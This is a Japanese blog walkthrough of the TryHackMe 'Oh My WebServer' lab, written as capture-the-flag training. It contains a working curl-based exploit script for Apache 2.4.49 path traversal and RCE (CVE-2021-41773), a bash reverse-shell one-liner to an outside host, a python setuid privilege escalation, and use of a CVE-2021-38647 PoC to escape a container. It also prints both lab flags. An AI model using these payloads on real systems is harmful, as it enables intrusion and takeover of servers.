0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Oh My WebServer:Walkthrough

0
Posted at

概要

TryHackMe「Oh My WebServer」のWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.48.166.149 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
|   256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
|_  256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.49 ((Unix))
|_http-server-header: Apache/2.4.49 (Unix)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Consult - Business Consultancy Agency Template | Home

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache/2.4.49

80番ポートにアクセスすると、Webサービスを確認できました。

image.png

ディレクトリスキャンをします。
/cgi-binが見つかりました。

$ dirsearch -u http://10.48.166.149/

[08:38:59] 301 -  236B  - /assets  ->  http://10.48.166.149/assets/         
[08:38:59] 200 -  404B  - /assets/                                          
[08:39:02] 403 -  199B  - /cgi-bin/                                         
[08:39:03] 500 -  528B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd     
[08:39:03] 500 -  528B  - /cgi-bin/test-cgi                                 
[08:39:03] 500 -  528B  - /cgi-bin/printenv

Apache/2.4.49の脆弱性を検索すると、CVE-2021-41773がヒットしました。
/cgi-binディレクトリも見つかっているので、刺さる可能性が高いです。

pocスクリプトを用意します。

PoC.sh
#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

pocに必要なターゲットファイルを作成します。

targets.txt
http://10.48.166.149

pocを実行し、RCEに成功しました。

$ source ./PoC.sh targets.txt /bin/sh id    
http://10.48.166.149
uid=1(daemon) gid=1(daemon) groups=1(daemon)

リバースシェル用のコマンドを実行します。

$ source ./PoC.sh targets.txt /bin/bash "bash -i >& /dev/tcp/192.168.183.253/1234 0>&1"

リバースシェルを張れました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.48.166.149] 55936
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4a70924bafa0:/bin$

Dockerコンテナ内にいるようです。

$ ls -la /
ls -la /
total 76
drwxr-xr-x   1 root root 4096 Feb 23  2022 .
drwxr-xr-x   1 root root 4096 Feb 23  2022 ..
-rwxr-xr-x   1 root root    0 Feb 23  2022 .dockerenv
drwxr-xr-x   1 root root 4096 Oct  8  2021 bin
drwxr-xr-x   2 root root 4096 Jun 13  2021 boot
drwxr-xr-x   5 root root  340 May  6 12:09 dev
drwxr-xr-x   1 root root 4096 Feb 23  2022 etc
drwxr-xr-x   2 root root 4096 Jun 13  2021 home
drwxr-xr-x   1 root root 4096 Oct  8  2021 lib
drwxr-xr-x   2 root root 4096 Sep 27  2021 lib64
drwxr-xr-x   2 root root 4096 Sep 27  2021 media
drwxr-xr-x   2 root root 4096 Sep 27  2021 mnt
drwxr-xr-x   2 root root 4096 Sep 27  2021 opt
dr-xr-xr-x 175 root root    0 May  6 12:09 proc
drwx------   1 root root 4096 Oct  8  2021 root
drwxr-xr-x   1 root root 4096 May  6 13:55 run
drwxr-xr-x   1 root root 4096 Oct  8  2021 sbin
drwxr-xr-x   2 root root 4096 Sep 27  2021 srv
dr-xr-xr-x  13 root root    0 May  6 12:09 sys
drwxrwxrwt   1 root root 4096 Feb 23  2022 tmp
drwxr-xr-x   1 root root 4096 Sep 27  2021 usr
drwxr-xr-x   1 root root 4096 Sep 27  2021 var

TTYの設定をします。

$ python3 -c "import pty;pty.spawn('/bin/bash')"

capabilityの設定を確認すると、python3.7に設定されており、root権限で実行できると分かりました。

daemon@4a70924bafa0:/bin$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep

pythonの権限昇格用コマンドを確認します。

実行することで、root権限を取得できました。

daemon@4a70924bafa0:/bin$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'   
<import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# id
id
uid=0(root) gid=1(daemon) groups=1(daemon)

ユーザーフラグを入手できました。

# cat /root/user.txt
cat /root/user.txt
THM{eacffefe1d2aafcc15e70dc2f07f7ac1}

A.THM{eacffefe1d2aafcc15e70dc2f07f7ac1}

Q2.What is the root flag?

Dockerではデフォルトで、172.17.0.1がデフォルトゲートウェイを指します。

# arp -a
arp -a
ip-172-17-0-1.ap-south-1.compute.internal (172.17.0.1) at 02:42:81:5e:ba:8a [ether] on eth0

ポートスキャンをするBashスクリプトを用意します。

portscan.sh
#!/bin/bash
for port in {1..65536}; do
 timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"
done

デフォルトゲートウェイに対してポートスキャンを実行します。

# ./portscan.sh 172.17.0.1
./portscan.sh 172.17.0.1
port 22 is open
port 80 is open
port 5986 is open

5986ポートが動作していると分かりました。
このポートでの脆弱性を検索すると、CVE-2021-38647がヒットしました。
RCEに繋げられるようです。

以下リポジトリのPoCを使用しました。

PoCを実行するとコンテナを抜け、root権限を取得できました。

# python3 poc.py -t 172.17.0.1 -c id
python3 poc.py -t 172.17.0.1 -c id
uid=0(root) gid=0(root) groups=0(root)

# python3 poc.py -t 172.17.0.1 -c "ls -la /root"
python3 poc.py -t 172.17.0.1 -c "ls -la /root"
total 56&#10;drwx------  5 root root  4096 Feb 23  2022 .&#10;drwxr-xr-x 20 root root  4096 Sep 30  2021 ..&#10;-rw-------  1 root root   169 Oct  8  2021 .bash_history&#10;-rw-r--r--  1 root root  3106 Dec  5  2019 .bashrc&#10;drwxr-xr-x  3 root root  4096 Feb 23  2022 .local&#10;-rw-r--r--  1 root root   161 Dec  5  2019 .profile&#10;-rw-------  1 root root  1024 Sep 30  2021 .rnd&#10;drwx------  2 root root  4096 Sep 30  2021 .ssh&#10;-rw-------  1 root root 12125 Oct  8  2021 .viminfo&#10;-rw-r--r--  1 root root   277 Oct  8  2021 .wget-hsts&#10;-rw-r--r--  1 root root    38 Oct  8  2021 root.txt&#10;drwxr-xr-x  3 root root  4096 Sep 30  2021 snap

ルートフラグを入手できました。

# python3 poc.py -t 172.17.0.1 -c "cat /root/root.txt"
python3 poc.py -t 172.17.0.1 -c "cat /root/root.txt"
THM{7f147ef1f36da9ae29529890a1b6011f}

A.THM{7f147ef1f36da9ae29529890a1b6011f}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?